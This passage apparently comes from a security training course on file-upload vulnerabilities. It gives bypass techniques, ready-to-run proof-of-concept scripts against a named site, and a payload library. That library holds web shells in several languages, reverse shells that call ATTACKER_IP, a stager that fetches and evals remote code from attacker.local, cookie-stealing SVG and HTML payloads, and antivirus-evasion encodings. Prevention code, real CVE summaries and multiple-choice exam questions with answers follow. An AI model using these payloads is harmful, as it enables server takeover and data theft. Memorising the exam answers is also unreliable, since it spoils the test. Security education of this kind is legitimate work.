Upload `exploit.zip`. If the extractor does not sanitize entry names, the shell lands in webroot. CVE-2024-30500 (cubewp-framework) is a real-world example.

17. Race condition bypass

Some servers upload to a public location, validate, then delete on failure. For a few hundred milliseconds the file is live:

python
import threading, requests, time

URL_UP = "https://anastech.com/upload"
URL_FETCH = "https://anastech.com/uploads/race.php?c=id"

def upload():
    while True:
        requests.post(URL_UP,
            files={'file': ('race.php', '<?php system($_GET["c"]); ?>', 'image/jpeg')},
            verify=False)

def fetch():
    start = time.time()
    while time.time() - start < 30:
        r = requests.get(URL_FETCH, verify=False)
        if 'uid=' in r.text:
            print("[+] WON RACE:", r.text[:80]); return

threads = [threading.Thread(target=upload) for _ in range(20)]
threads.append(threading.Thread(target=fetch))
for t in threads: t.start()
for t in threads: t.join()

18. PUT-method upload

If `PUT` is enabled on a directory, no upload form is needed:

bash
curl -X PUT https://target/uploads/shell.php --data-binary @shell.php

CVE-2025-24813 (Apache Tomcat) is the modern partial-PUT trick: writes to a temp file with a predictable name that can be triggered for RCE.

19. Content-Type forge

The validator that trusts `request.files['file'].content_type`:

text
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['c']); ?>

20. Multi-boundary filename confusion

Some parsers handle multi-boundary or repeated headers poorly:

text
Content-Disposition: form-data; name="file"; filename="ok.jpg"; filename*=utf-8''shell.php

Validator reads the first filename, storage reads the second.

21. Antivirus-evasion encoded payload

When ClamAV runs on uploads, signatures look for typical shell strings. Encode:

php
<?php
$a = 'sy'.'st'.'em';
$a($_GET['c']);
?>

Or base64:

php
<?php
$x = base64_decode('c3lzdGVt');     // "system"
$x($_GET['c']);
?>

22. Image resize / re-encode bypass

If the server re-encodes uploaded images, polyglot payloads die. Counter:

  • Place payload in EXIF sections the resizer does not touch.
  • Use a format the resizer cannot handle (AVIF, BMP, TIFF) so it falls back to "save as is".
  • Exploit the resizer itself via ImageMagick (CVE-2016-3714 "ImageTragick" family).

23. SSRF via FFmpeg HLS

If the server runs FFmpeg on uploaded media, build an HLS playlist:

text
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST

Upload as `pwn.m3u8`. FFmpeg fetches the inner URLs server-side. AWS metadata leaks. TikTok paid $2,727 for this on their video upload.

24. XXE via office documents

Office documents (`.docx`, `.xlsx`, `.pptx`) are zipped XML. Some servers parse them server-side for previews. Inject:

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

If the parser resolves external entities, file disclosure follows.

25. Encoding and case combinations

text
ShELl.PhP        ==> case
shell.php.       ==> trailing dot
shell.php%20     ==> trailing space encoded
shell.php/.      ==> path normalization
shell.php\\      ==> Windows path normalization
shell.php#x.jpg  ==> fragment trick
shell.php?x.jpg  ==> query string trick

26. URL-based upload races

Some apps fetch a file by URL ("import from URL"):

text
POST /import?url=http://my-server.com/image.jpg
  • Race the fetcher: serve different content on the second request than the first.
  • Use redirects to chain into internal SSRF.

27. Stored XSS via filename reflection

If the server reflects the filename in HTML:

text
filename: "><script>alert(1)</script>.jpg

Extension check passes (`.jpg`). The filename becomes XSS when the avatar list page renders the name.

28. Bypassing CDN-side filters

If the upload goes through Cloudflare or AWS WAF, upload with a benign extension and rename later. OR upload directly to the origin S3 bucket (often misconfigured to allow public writes).

29. Multi-stage stager

When uploads are scanned but execution is on a separate route, upload a stager that fetches the real payload at runtime:

php
<?php
$r = @file_get_contents("https://attacker.local/p");
eval($r);
?>

The stager is small and trivial. AV matches nothing because the dangerous payload is fetched later.

30. JNDI in filename (Log4Shell-adjacent)

When the server logs the filename through Log4j (older versions):

text
filename: ${jndi:ldap://attacker/exploit}

Logged ==> Log4j evaluates ==> remote class load ==> RCE. Old but still found in legacy systems.

These 30 techniques are the modern upload hunter's toolkit. Combine them. The juiciest bugs come from chaining three or four.

12. Proof of Concept

This section shows every PoC format you might need.

Burp Suite step by step

text
1. Intercept the upload request.
2. Send to Repeater.
3. Modify filename to "shell.phtml".
4. Set Content-Type to "image/jpeg".
5. Replace body bytes with: <?php system($_GET['c']); ?>
6. Send. Note the response URL.
7. In browser: visit URL + "?c=id". Confirm output.
8. Save request, response, and browser screenshot.

Python PoC (detection sweep)

python
import requests

TARGET = "https://anastech.com/upload"
TEST_BODY = "<?php echo 'PWNED-' . md5('marker'); ?>"
EXTS = [
    'php','phtml','pht','phar','php5','php7','phps',
    'shtml','asp','aspx','ashx','cer','asa',
    'jsp','jspx','jspf',
    'cfm','cfml',
]

for ext in EXTS:
    files = {'file': (f'shell.{ext}', TEST_BODY, 'image/jpeg')}
    r = requests.post(TARGET, files=files, verify=False)
    print(f"[{ext}] status={r.status_code} body={r.text[:120]}")

Python PoC (confirm RCE)

python
import requests

UPLOAD = "https://anastech.com/upload"
SHELL  = "<?php system($_GET['c']); ?>"
files  = {'file': ('pwn.phtml', SHELL, 'image/jpeg')}

r = requests.post(UPLOAD, files=files, verify=False)
print("upload response:", r.text)

cmd = requests.get("https://anastech.com/uploads/pwn.phtml?c=id", verify=False)
print("exec output:", cmd.text)

Bash PoC (one-liner shell drop)

bash
PAYLOAD='<?php system($_GET["c"]); ?>'
curl -k -X POST -F "file=@-;filename=pwn.phtml;type=image/jpeg" \
     "https://anastech.com/upload" <<<"$PAYLOAD"

curl -k "https://anastech.com/uploads/pwn.phtml?c=id"

Bash PoC (reverse shell)

bash
ATTACKER_IP="10.0.0.7"
ATTACKER_PORT="4444"

cat > /tmp/payload.phtml <<EOF
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1'");
?>
EOF

# Start listener in another terminal:
# nc -lvnp $ATTACKER_PORT

curl -k -X POST \
  -F "file=@/tmp/payload.phtml;filename=pwn.phtml;type=image/jpeg" \
  "https://anastech.com/upload"

curl -k "https://anastech.com/uploads/pwn.phtml"

Polyglot JPEG/PHP PoC

bash
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' > poly.phtml
echo '<?php system($_GET["c"]); ?>' >> poly.phtml

xxd poly.phtml | head -1
# Expect: ffd8 ffe0 ...

curl -k -F "file=@poly.phtml;type=image/jpeg" "https://anastech.com/upload"
curl -k "https://anastech.com/uploads/poly.phtml?c=whoami"

EXIF-embedded PHP PoC

bash
exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg
cp real.jpg poly.phtml
curl -k -F "file=@poly.phtml;type=image/jpeg" "https://anastech.com/upload"
curl -k "https://anastech.com/uploads/poly.phtml?c=id"

.htaccess override PoC

bash
# Step 1: upload .htaccess
cat > /tmp/.htaccess << 'EOF'
AddType application/x-httpd-php .anastech
EOF
curl -k -F "file=@/tmp/.htaccess;filename=.htaccess" \
     "https://anastech.com/upload"

# Step 2: upload the shell with the custom extension
echo '<?php system($_GET["c"]); ?>' > /tmp/pwn.anastech
curl -k -F "file=@/tmp/pwn.anastech;filename=pwn.anastech" \
     "https://anastech.com/upload"

# Step 3: execute
curl -k "https://anastech.com/uploads/pwn.anastech?c=id"

Zip slip PoC

python
import zipfile

with zipfile.ZipFile('exploit.zip', 'w') as z:
    z.writestr('../../var/www/html/shell.php',
               '<?php system($_GET["c"]); ?>')

import requests
files = {'file': open('exploit.zip','rb')}
requests.post('https://anastech.com/import', files=files, verify=False)

print(requests.get('https://anastech.com/shell.php?c=id').text)

PowerShell PoC

powershell
$body = "<?php system(`$_GET['c']); ?>"
$boundary = [guid]::NewGuid().ToString()
$bodyLines = (
    "--$boundary",
    "Content-Disposition: form-data; name=`"file`"; filename=`"pwn.phtml`"",
    "Content-Type: image/jpeg",
    "",
    $body,
    "--$boundary--"
) -join "`r`n"

Invoke-WebRequest -Uri "https://anastech.com/upload" `
    -Method Post `
    -ContentType "multipart/form-data; boundary=$boundary" `
    -Body $bodyLines `
    -SkipCertificateCheck

Invoke-RestMethod "https://anastech.com/uploads/pwn.phtml?c=whoami" -SkipCertificateCheck

Node.js PoC

javascript
const axios = require('axios');
const FormData = require('form-data');

(async () => {
  const fd = new FormData();
  fd.append('file', '<?php system($_GET["c"]); ?>', {
    filename:    'pwn.phtml',
    contentType: 'image/jpeg'
  });

  await axios.post('https://anastech.com/upload', fd, {
    headers: fd.getHeaders()
  });

  const r = await axios.get('https://anastech.com/uploads/pwn.phtml?c=id');
  console.log(r.data);
})();

fuxploider PoC

bash
git clone https://github.com/almandin/fuxploider
cd fuxploider
pip3 install -r requirements.txt

python3 fuxploider.py \
  --url https://anastech.com/upload \
  --not-regex "not allowed"

The tool fingerprints the validation strategy, walks through 200+ bypass payloads, and drops you into an interactive shell when one works.

13. Payloads

Web shell one-liners

PHP:

php
<?php system($_GET['c']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?php passthru($_GET['c']); ?>
<?php `{$_GET['c']}`; ?>
<?php eval($_GET['c']); ?>
<?=`$_GET[c]`?>
<? system($_GET['c']); ?>

ASP / ASPX:

asp
<% Response.Write(CreateObject("WScript.Shell").Exec("cmd /c " & Request("c")).StdOut.ReadAll) %>
aspx
<%@ Page Language="C#" %>
<% Response.Write(new System.Diagnostics.Process { StartInfo = new System.Diagnostics.ProcessStartInfo("cmd","/c " + Request["c"]) { RedirectStandardOutput=true, UseShellExecute=false } }.StandardOutput.ReadToEnd()); %>

JSP:

jsp
<%@ page import="java.util.*,java.io.*"%>
<% Process p=Runtime.getRuntime().exec(request.getParameter("c"));
   BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));
   String l; while((l=r.readLine())!=null) out.println(l); %>

Python (CGI / mod_wsgi):

python
import os
def application(env, start_response):
    cmd = env.get('QUERY_STRING','c=id')[2:]
    start_response('200 OK', [('Content-Type','text/plain')])
    return [os.popen(cmd).read().encode()]

Ruby (ERB / Rack):

ruby
<%= `#{params[:c]}` %>

Node.js (EJS):

ejs
<%= require('child_process').execSync(query.c) %>

Perl CGI:

perl
#!/usr/bin/perl
print "Content-Type: text/plain\n\n";
print `$ENV{'QUERY_STRING'}`;

Filename bypass variants

text
shell.php
shell.PHP
shell.pHp
shell.php5
shell.php7
shell.phtml
shell.pht
shell.phar
shell.phps
shell.shtml
shell.asp
shell.aspx
shell.ashx
shell.asmx
shell.cer
shell.asa
shell.jsp
shell.jspx
shell.jspf
shell.cfm
shell.cfml

shell.php.jpg
shell.jpg.php
shell.php.png
shell.png.php
shell.php5.jpg

shell.php%00.jpg
shell.php\x00.jpg
shell.php;.jpg
shell.php#.jpg
shell.php?.jpg

shell.php.
shell.php..
shell.php%20
shell.php%0a
shell.php%0d
shell.php/.
shell.php::$DATA

shell.p%68p
shell.p%2570hp
shell%252Ephp
shell%c0%aephp

shell.PhP3
shell.Phtml

.htaccess
.user.ini
web.config

Polyglot generation (GIF + PHP)

bash
echo -ne 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;' > p.gif
echo '<?php system($_GET["c"]); ?>' >> p.gif
mv p.gif pwn.phtml

Polyglot generation (PNG + PHP)

bash
printf '\x89PNG\r\n\x1a\n' > p.png
printf '\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89' >> p.png
echo '<?php system($_GET["c"]); ?>' >> p.png
mv p.png pwn.phtml

ExifTool embedded shell

bash
exiftool -Comment='<?php system($_GET["c"]); ?>' real-photo.jpg
mv real-photo.jpg pwn.phtml

.htaccess payload

apache
AddType application/x-httpd-php .anastech .anasx .pwn
SetHandler application/x-httpd-php
Options +ExecCGI
AddHandler cgi-script .anastech

.user.ini payload

ini
auto_prepend_file=/var/www/html/uploads/shell.gif

web.config payload

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="anastech" path="*.anastech" verb="*"
           modules="IsapiModule"
           scriptProcessor="C:\Windows\System32\inetsrv\asp.dll"
           resourceType="Unspecified" />
    </handlers>
  </system.webServer>
</configuration>

Zip-slip archive builder

python
import zipfile
with zipfile.ZipFile('exploit.zip','w') as z:
    z.writestr('../../var/www/html/shell.php',
               '<?php system($_GET["c"]); ?>')

SVG stored XSS

xml
<?xml version="1.0" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.local/?c='+document.cookie)">
  <script type="text/javascript">
    fetch('https://attacker.local/x?c=' + document.cookie);
  </script>
</svg>

HTML file XSS

html
<!DOCTYPE html>
<html><body>
<script>
fetch('https://attacker.local/?c=' + document.cookie);
</script>
</body></html>

XXE via DOCX

bash
mkdir doc && cd doc
cat > [Content_Types].xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types><Default Extension="xml" ContentType="application/xml"/>
<entity>&xxe;</entity></Types>
EOF
zip -r ../pwn.docx .

FFmpeg HLS SSRF

text
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST

Reverse shell PHP payloads

php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>
php
<?php
$sock=fsockopen("ATTACKER_IP",4444);
$proc=proc_open("/bin/sh -i", [0=>$sock, 1=>$sock, 2=>$sock], $pipes);
?>
php
<?php
system("nohup nc -e /bin/bash ATTACKER_IP 4444 >/dev/null 2>&1 &");
?>

Antivirus-evasion payload (encoded)

php
<?php
$a = 'sy'.'st'.'em';
$a($_GET['c']);
?>
php
<?php
$x = base64_decode('c3lzdGVt');     // "system"
$x($_GET['c']);
?>

PUT-method upload

http
PUT /uploads/shell.php HTTP/1.1
Host: anastech.com
Content-Type: application/x-httpd-php
Content-Length: 32

<?php system($_GET['c']); ?>

Tomcat PUT (CVE-2025-24813 family)

http
PUT /uploads/shell.jsp/ HTTP/1.1
Host: anastech.com
Content-Length: 80

<%@ page import="java.util.*,java.io.*"%>
<%Runtime.getRuntime().exec(request.getParameter("c"));%>

The payload is whatever the engine executes. The attack is whatever the engine can do.

14. Wordlists and Payload Libraries

The definitive collection of upload bypass payloads, shells, polyglots, and configuration overrides.

Automated upload-bypass tool with 200+ filename variants and execution confirmation.

Burp Suite extension that runs the full bypass arsenal against any upload endpoint.

Continuously updated cheat sheet for every modern upload trick.

The canonical learning resource with hands-on labs.

Definition, impact, and high-level prevention guidance.

Defender's checklist for safe upload handling.

Useful for finding upload endpoints and exposed `/uploads/` directories.

Wordlists of file extensions for testing handler mappings.

Author's original lab notes and bypass cheatsheet.

Large library of shells for every language. Use only for authorized testing.

Classic walkthrough of polyglot and EXIF tricks.

These tools and lists form the modern upload hunter's loadout.

15. Impact

  • Remote Code Execution. The primary outcome when the uploaded file is a server-side script and the server is configured to execute it. Full server compromise, lateral movement, persistence via cron, systemd, or backdoored cron tabs.
  • Stored Cross-Site Scripting. Uploading HTML, SVG, or any file rendered as HTML can lead to persistent XSS. Particularly dangerous against admin panels.
  • Local File Overwrite. Filename traversal allows the attacker to overwrite critical files (config, logs, source code).
  • Source Code Disclosure. When the server saves but does not execute, fetching the file may return raw source as text, leaking secrets, credentials, and logic.
  • Information Disclosure. Uploaded files may leak via directory listings, search engines, or chained Path Traversal bugs.
  • Denial of Service. Large files fill disk. Many small files exhaust inodes. Decompression bombs in zip uploads exhaust memory.
  • Phishing Host. Attackers host malicious HTML/PDF/JS on the target's legitimate domain.
  • Malware Distribution. Hosting EXE, APK, DMG, or ISO files for malware distribution under a trusted brand.
  • Pivot to Internal Network. RCE on a public-facing app is the foothold for attacking internal services.
  • Cloud Credential Theft. Once on the box, the attacker reads instance role credentials from `169.254.169.254` (AWS), `metadata.google.internal` (GCP).
  • Compliance Disaster. Violations of GDPR, HIPAA, PCI DSS, SOC 2 when uploaded files land in regulated environments.
  • Persistent Backdoor. A web shell uploaded once survives many restarts because it lives in `/var/www/html/uploads/` and is rarely audited.

A single critical file-upload RCE has wiped out entire SaaS environments and led to nine-figure breach reports.

16. Prevention

Vulnerable Example

php
<?php
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (in_array($ext, ['php','exe'])) die("blocked");
move_uploaded_file($_FILES['file']['tmp_name'],
                   "/var/www/html/uploads/" . $_FILES['file']['name']);
?>

Secure Example (Production-Grade)

php
<?php
$ALLOWED = ['jpg','jpeg','png','gif','pdf'];
$MAX_SIZE = 5 * 1024 * 1024;
$STORAGE  = "/opt/anastech/uploads";   // outside web root

// 1. Size check (early, before reading bytes)
if ($_FILES['file']['size'] > $MAX_SIZE) die("too large");

// 2. Extension allowlist on the last extension only
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $ALLOWED, true)) die("ext not allowed");

// 3. MIME check using finfo (server-side, not client header)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime  = $finfo->file($_FILES['file']['tmp_name']);
$mime_map = [
  'jpg'=>'image/jpeg','jpeg'=>'image/jpeg',
  'png'=>'image/png','gif'=>'image/gif','pdf'=>'application/pdf',
];
if (!isset($mime_map[$ext]) || $mime_map[$ext] !== $mime) die("mime mismatch");

// 4. Magic byte check
$h = bin2hex(file_get_contents($_FILES['file']['tmp_name'], false, null, 0, 4));
$sig = [
  'jpg'  => ['ffd8ffe0','ffd8ffe1','ffd8ffdb'],
  'jpeg' => ['ffd8ffe0','ffd8ffe1','ffd8ffdb'],
  'png'  => ['89504e47'],
  'gif'  => ['47494638'],
  'pdf'  => ['25504446'],
];
$ok = false;
foreach ($sig[$ext] as $s) if (stripos($h, $s) === 0) $ok = true;
if (!$ok) die("bad signature");

// 5. Random filename. Never trust the client.
$newname = bin2hex(random_bytes(16)) . "." . $ext;
$target  = "$STORAGE/$newname";

// 6. Save outside the web root
if (!move_uploaded_file($_FILES['file']['tmp_name'], $target)) die("save fail");

// 7. Re-encode images to strip embedded payloads
if (in_array($ext, ['jpg','jpeg','png','gif'])) {
    $img = imagecreatefromstring(file_get_contents($target));
    if ($img !== false) {
        if ($ext === 'png') imagepng($img, $target);
        elseif ($ext === 'gif') imagegif($img, $target);
        else imagejpeg($img, $target, 85);
        imagedestroy($img);
    }
}

// 8. Serve via a download endpoint, never direct URL
echo json_encode(['id' => $newname]);
?>

Key changes:

  • Allowlist of extensions, not blacklist.
  • MIME and magic bytes verified server-side.
  • Random filename, original discarded.
  • Storage outside the web root.
  • Re-encoding to strip polyglot payloads.
  • Download endpoint with a hard-coded Content-Type.

Eight Rules to Eliminate File Upload Bugs

  • Rule 1. Use an allowlist of extensions. Never a blacklist.
  • Rule 2. Verify the MIME and the magic bytes server-side. Never trust the client.
  • Rule 3. Rename every uploaded file to a server-generated random name.
  • Rule 4. Store files outside the web root. Serve them through a dedicated endpoint with a fixed Content-Type.
  • Rule 5. Disable script execution in the upload directory.
  • Rule 6. Re-encode images server-side to strip polyglot payloads.
  • Rule 7. Run antivirus / file scanning (ClamAV, YARA) on every upload.
  • Rule 8. Enforce strict size limits and quotas.

Developer Checklist

text
[ ] Extension allowlist (not blacklist) enforced server-side.
[ ] MIME type validated using finfo / Python python-magic / Java Tika.
[ ] Magic bytes checked against expected signatures.
[ ] File size limit enforced before reading the body.
[ ] Uploaded filename is never used on disk; server generates a UUID.
[ ] Files stored outside web root.
[ ] Upload directory has script execution explicitly disabled.
[ ] Apache: no AddHandler / SetHandler for php in /uploads/.
[ ] Nginx: location block returns 403 for executable extensions in /uploads/.
[ ] IIS: handlers removed via web.config.
[ ] Antivirus scans every file synchronously before responding 200.
[ ] Images are re-encoded server-side.
[ ] Downloads are served via a dedicated endpoint with fixed Content-Type.
[ ] Content-Disposition: attachment used by default.
[ ] No directory listing exposed.
[ ] Logs include the uploader user ID and file hash for forensics.
[ ] Quotas enforced per user to prevent DoS.
[ ] Static analysis (Semgrep, CodeQL) enforces no path concat from filename.
[ ] CI integration test asserts that uploading a .php file is rejected.

Server Configuration Examples

Apache (disable PHP execution in uploads):

apache
<Directory /var/www/html/uploads>
    Options -ExecCGI -Indexes
    AllowOverride None
    <FilesMatch "\.(?i:php|phtml|pht|phar|phps|cgi|pl|py)$">
        Require all denied
    </FilesMatch>
</Directory>

Nginx (deny script execution):

nginx
location ^~ /uploads/ {
    location ~* \.(php|phtml|pht|phar|jsp|jspx|asp|aspx|cgi|pl|py|sh)$ {
        return 403;
    }
    autoindex off;
    add_header X-Content-Type-Options nosniff;
}

IIS (remove handlers):

xml
<location path="uploads">
  <system.webServer>
    <handlers>
      <clear />
      <add name="StaticFile" path="*" verb="*" modules="StaticFileModule" resourceType="File" />
    </handlers>
  </system.webServer>
</location>

17. Real-World Cases

CVE-2025-0520 (ShowDoc Unrestricted File Upload, CVSS 9.4)

ShowDoc versions before 2.8.7 contained an unauthenticated file upload vulnerability allowing attackers to upload arbitrary PHP files and achieve full RCE. The flaw stemmed from improper file-extension validation. Mass-exploited in the wild after public disclosure.

CVE-2025-67260 (Terrapack File Upload RCE)

Multiple components of the Terrapack software suite suffered from insufficient validation of uploaded file types and content. Authenticated low-privilege attackers could upload web shells leading to arbitrary code execution.

CVE-2025-65875 (FPDF AddFont RCE)

The popular PHP PDF library FPDF (v1.86 and earlier) shipped with an `AddFont()` function that failed to validate uploaded font files. Attackers could disguise PHP code as a font resource and trigger RCE.

CVE-2025-12682 (WordPress Easy Upload Files, Unauthenticated)

The Easy Upload Files During Checkout plugin (versions up to 2.9.8) allowed unauthenticated attackers to upload arbitrary JavaScript files via the `file_during_checkout` function. Combined with WordPress rendering, attackers achieved stored XSS and RCE on some configurations.

CVE-2025-52691 (SmarterMail Unauthenticated File Upload RCE)

SmarterTools SmarterMail Build 9412 and earlier shipped with an unauthenticated arbitrary file upload allowing pre-auth RCE. Patched in Build 9413.

CVE-2025-24813 (Apache Tomcat Partial PUT to RCE)

A subtle bug in Tomcat's partial PUT implementation allowed attackers to write security-sensitive files and inject content into them.

CVE-2024-30500 (WordPress cubewp-framework Zip Upload)

The cubewp-framework plugin accepted zip uploads and extracted them without validating inner file types. Attackers embedded `.php` files in the archive and achieved RCE after extraction.

HackerOne: Starbucks RCE

Unrestricted file upload on `mobile.starbucks.com.sg` led to RCE on the server. 244 upvotes.

HackerOne: TikTok FFmpeg HLS SSRF ($2,727)

A crafted HLS playlist (`.m3u8`) uploaded to TikTok's video pipeline made FFmpeg fetch arbitrary URLs including the AWS metadata endpoint, leaking IAM credentials.

HackerOne: HackerOne Itself ==> RCE in Profile Picture Upload

The bug bounty platform itself had an RCE in its profile-picture upload. Reported, fixed, and disclosed publicly.

HackerOne: Razer Admin Default Password ==> Image Upload Shell

Default admin credentials + image upload feature led to web shell upload and backend takeover. 199 upvotes.

HackerOne: Linktree No Validation on Image Upload

Linktree accepted any file type via the image upload feature, enabling content hosting under a trusted brand.

HackerOne: Semrush Unrestricted File Upload

The report image upload on Semrush accepted PHP files. 131 upvotes.

HackerOne: U.S. DoD Null Byte Truncated File Extension

A legacy PHP version on a DoD website truncated `shell.php%00.jpg` at the null byte. RCE achieved.

HackerOne: Mail.ru Shell Upload ($500)

A partner-only service had an upload endpoint with weak validation.

HackerOne: Concrete CMS SVG with HTML Included

SVG upload led to stored XSS that hit admins.

Lessons across all these cases:

  • File upload bugs ship in every CMS, every framework, every plugin ecosystem.
  • The "validation" almost always has a hole.
  • Bug bounty payouts for upload RCE regularly hit 5,000 to 75,000 dollars.
  • The fix is universally the same: allowlist, rename, no execution in upload directories.
  • New research keeps producing fresh bypass classes (zip slip, polyglot, partial PUT, FFmpeg HLS).

18. References

19. Practical Labs

SOON.

The ANAS EDUCATION lab environment for File Upload is currently being built. You will soon practice:

  • Naked PHP upload (no validation at all)
  • Extension-blacklist bypass with `.phtml` / `.pht` / `.phar`
  • Case-bypass with `.pHp`
  • Double extension `shell.php.jpg`
  • Null byte truncation `shell.php%00.jpg` (legacy)
  • MIME-only validator bypass with Burp Repeater
  • Magic-byte-only validator bypass with polyglot JPEG/PHP
  • EXIF-embedded PHP shell with ExifTool
  • `.htaccess` override on Apache
  • `web.config` override on IIS
  • `.user.ini` `auto_prepend_file` trick
  • Path traversal in filename to escape `/uploads/`
  • Zip-slip via WordPress-style importer
  • Race condition in scan-then-delete handlers
  • SVG stored XSS that hijacks an admin session
  • FFmpeg HLS SSRF on a video upload pipeline
  • Office docx with XXE on a thumbnail processor
  • JSP upload on Tomcat with partial PUT
  • Image-resize bypass using AVIF/BMP fallback
  • Antivirus evasion via base64-encoded shell

In the meantime, practice on PortSwigger Web Security Academy labs:

  • APPRENTICE: Remote code execution via web shell upload
  • APPRENTICE: Web shell upload via Content-Type restriction bypass
  • PRACTITIONER: Web shell upload via path traversal
  • PRACTITIONER: Web shell upload via extension blacklist bypass
  • PRACTITIONER: Web shell upload via obfuscated file extension
  • PRACTITIONER: Remote code execution via polyglot web shell upload
  • EXPERT: Web shell upload via race condition

Stay tuned.

20. Cheat Sheet

text
┌──────────────────────────────────────────────────────────────────┐
│                FILE UPLOAD CHEAT SHEET                           │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  DETECTION                                                       │
│  ==> Upload shell.php / .phtml / .pht / .phar / .php5 / .php7    │
│  ==> Toggle Content-Type to image/jpeg in Burp                   │
│  ==> Try shell.php.jpg / shell.jpg.php / shell.pHp               │
│  ==> Try shell.php%00.jpg / shell.php;.jpg (legacy/IIS)          │
│  ==> Try .htaccess / web.config / .user.ini                      │
│                                                                  │
│  EXTENSION BLACKLIST BYPASS                                      │
│  ==> Alternate exts: .phtml .pht .phar .php5 .phps .shtml        │
│  ==> Case: .pHp .PHTML                                           │
│  ==> Double ext: shell.php.jpg / shell.jpg.php                   │
│  ==> Trailing chars: shell.php. / shell.php%20                   │
│                                                                  │
│  CONTENT-TYPE BYPASS                                             │
│  ==> Send filename=shell.php with Content-Type: image/jpeg       │
│                                                                  │
│  MAGIC-BYTE BYPASS (POLYGLOT)                                    │
│  ==> printf 'GIF89a;' > p.gif && echo '<?php sys...?>' >> p.gif  │
│  ==> exiftool -Comment='<?php sys...?>' real.jpg                 │
│                                                                  │
│  CONFIG OVERRIDE                                                 │
│  ==> Upload .htaccess: AddType application/x-httpd-php .anastech │
│  ==> Then upload shell.anastech                                  │
│                                                                  │
│  PATH TRAVERSAL                                                  │
│  ==> filename=../../../var/www/html/shell.php                    │
│  ==> URL-encoded: ..%2f..%2fshell.php                            │
│                                                                  │
│  ARCHIVE TRICKS                                                  │
│  ==> Zip slip: entry name ../../var/www/html/shell.php           │
│  ==> Office XXE in docx: !DOCTYPE + ENTITY file:///etc/passwd    │
│                                                                  │
│  MEDIA TRICKS                                                    │
│  ==> SVG: <svg><script>fetch('//atk?'+document.cookie)</script>  │
│  ==> HLS m3u8 fetches metadata URL via FFmpeg                    │
│                                                                  │
│  PUT METHOD                                                      │
│  ==> curl -X PUT -d @shell.php https://t/uploads/shell.php       │
│  ==> Tomcat partial PUT (CVE-2025-24813)                         │
│                                                                  │
│  WEB SHELL ONE-LINERS                                            │
│  ==> PHP:   <?php system($_GET['c']); ?>                         │
│  ==> ASPX:  <% Response.Write(...System.Diagnostics...) %>       │
│  ==> JSP:   Runtime.getRuntime().exec(request.getParameter('c')) │
│                                                                  │
│  REVERSE SHELL (PHP)                                             │
│  ==> exec("/bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'");    │
│                                                                  │
│  PREVENTION                                                      │
│  ==> Allowlist ext, validate MIME + magic bytes server-side      │
│  ==> Random filename, store outside web root                     │
│  ==> Disable exec in upload dir, re-encode images, AV scan       │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

Print this. Tape it next to your monitor. Live it.

21. Exam (30 Questions)

Format: Multiple Choice. Platform randomly selects 20. Scoring: 0 to 13 fail, 14 to 15 retry, 16 to 20 pass.

Q1. What is the most common impact of a critical file upload vulnerability? A. Open Redirect B. Remote Code Execution C. CSRF D. UI Redress Answer: B.

Q2. Which CWE matches Unrestricted File Upload most closely? A. CWE-79 B. CWE-89 C. CWE-434 D. CWE-22 Answer: C.

Q3. The browser-sent Content-Type header during a file upload is: A. Computed from the file's bytes B. Set by the client and trivially forged C. Validated by the operating system D. Cryptographically signed Answer: B.

Q4. Which is NOT a PHP-executable extension on a typical Apache + PHP-FPM setup? A. .php B. .phtml C. .phar D. .jpg Answer: D.

Q5. When developers blacklist `.php` only, the simplest bypass is: A. Encrypt the file B. Try alternate executable extensions like `.phtml`, `.pht`, `.php5` C. Upload the file twice D. Send it via email instead Answer: B.

Q6. A "polyglot" file is: A. Translated into multiple languages B. A valid file in two or more formats simultaneously C. Encrypted with multiple keys D. Uploaded by multiple users Answer: B.

Q7. Which tool embeds PHP code inside the EXIF metadata of a real JPEG? A. nmap B. ExifTool C. sqlmap D. john Answer: B.

Q8. When the server checks only the last extension after the final dot, the bypass is: A. Upload `shell.php` directly B. Upload `shell.php.jpg` and rely on Apache's parse of every extension C. Use HTTPS D. Encode the filename in base64 Answer: B.

Q9. The `.htaccess` upload trick achieves RCE by: A. Compressing the shell B. Re-mapping a custom extension to be executed as PHP within Apache C. Encrypting the shell D. Renaming the file Answer: B.

Q10. Which validation strategy is the MOST robust? A. Blacklist of dangerous extensions B. Client-supplied Content-Type check C. Allowlist of extensions PLUS MIME and magic-byte verification PLUS rename PLUS storage outside webroot D. File size limit only Answer: C.

Q11. On IIS, even when `.aspx` is blocked, which lesser-known extension can still execute ASP code? A. .css B. .cer C. .jpg D. .docx Answer: B.

